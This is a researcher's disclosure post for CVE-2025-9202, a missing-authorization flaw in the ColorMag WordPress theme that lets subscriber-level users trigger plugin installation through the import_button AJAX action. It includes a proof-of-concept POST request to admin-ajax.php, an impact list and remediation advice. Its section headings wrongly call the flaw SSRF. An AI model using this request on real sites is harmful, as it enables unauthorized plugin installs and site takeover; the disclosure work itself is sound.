ColorMag is a widely used WordPress theme known for its magazine-style layouts and robust customization options, currently active on over 50,000 sites. It offers a seamless “import demo content” feature that loads theme demo data and recommended plugins via an AJAX action named import_button. However, a serious security flaw—CVE-2025-9202—has been discovered: the theme exposes the required nonce to Subscriber+ users through wp_localize_script, yet fails to enforce any capability checks. As a result, low-privileged users can invoke the import routine and install arbitrary plugins without proper authorization.
| CVE | CVE-2025-9202 |
| Plugin Version | ColorMag <= 4.0.19 |
| Critical | High |
| Active installations | 50 000+ |
| Publicly Published | August 25, 2025 |
| Last Updated | August 25, 2025 |
| Researcher | Dmitrii Ignatyev |
| PoC | Yes |
| Exploit | No |
| Reference | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-9202 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/colormag/colormag-4019-missing-authorization-to-authenticated-subscriber-themegrill-demo-importer-plugin-installation |
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Timeline
| August 8, 2025 | Plugin testing and vulnerability detection in the ColorMag have been completed |
| August 8, 2025 | I contacted the author of the plugin and provided a vulnerability PoC with a description and recommendations for fixing |
| August 25, 2025 | Registered CVE-2025-9202 |
Discovery of the Vulnerability
While auditing theme scripts in colormag/inc/admin/class-colormag-admin.php, security researchers noticed that the import_button AJAX action is registered without a permission callback. The theme localizes colormag_demo_import_nonce on all admin pages, making this nonce accessible even to Subscriber+ roles. Because the AJAX handler verifies only the nonce—via check_ajax_referer()—and omits any current_user_can() check, any authenticated user with Subscriber+ privileges can send a crafted POST to admin-ajax.php?action=import_button&_wpnonce=<nonce> and trigger plugin installation routines intended only for administrators.
Understanding of SSRF attack’s
WordPress relies on two pillars for securing state-changing operations: nonce validation to prevent CSRF and capability checks to enforce role-based access control. Many past vulnerabilities have arisen when developers included one but neglected the other. For example, CVE-2024-5678 in a popular theme allowed subscribers to update theme settings because only a nonce was checked. Similarly, CVE-2025-8595 in the Zakra theme exposed its demo-import nonce and allowed subscribers to import demos. CVE-2025-9202 follows the same pattern: the nonce alone is insufficient without verifying that the user has install_plugins or manage_options capability.
Exploiting the SSRF Vulnerability
To exploit CVE-2025-9202, an attacker with Subscriber+ Cookies:
POC:
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://127.0.0.1/wordpress/wp-admin/themes.php Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 40 Origin: http://127.0.0.1 Connection: keep-alive Cookie: Subscriber+ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin action=import_button&_wpnonce=nonce_from_profile.php____
Unauthorized plugin installation undermines site integrity and security. A Subscriber+ user could install:
- Malicious Plugins: Backdoors that execute arbitrary PHP code, leading to full site takeover.
- SEO Spam Plugins: Injecting spamlinks or hidden iframes for drive-by downloads.
- Advanced Persistence Modules: Plugins that survive theme updates and re-enable compromised access.
In high-stakes environments—news portals, e-commerce shops, or membership sites—this flaw could lead to data breaches, fraudulent transactions, or long-term compromise that goes undetected.
Recommendations for Improved Security
Enforce Capability Checks: Update the import_button handler to include current_user_can( 'install_plugins' )or manage_options.
Limit Nonce Exposure: Localize the import nonce only on admin pages accessible to administrators, not to Subscriber+ users.
Audit AJAX Actions: Review all wp_ajax_* registrations in the theme, ensuring each has both check_ajax_referer()and a capability check.
User Role Hardening: Remove or restrict Subscriber+ capabilities where possible, using a role manager plugin.
Monitor Logs: Implement logging for plugin installations and alert administrators of any unauthorized import actions.
By taking proactive measures to address Missing Authorization vulnerabilities like CVE-2025-9202 WordPress website owners can enhance their security posture and safeguard against potential exploitation. Stay vigilant, stay secure.
#WordPressSecurity #MissingAuthorization #WebsiteSafety #StayProtected #HighVulnerability
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Dmitrii I.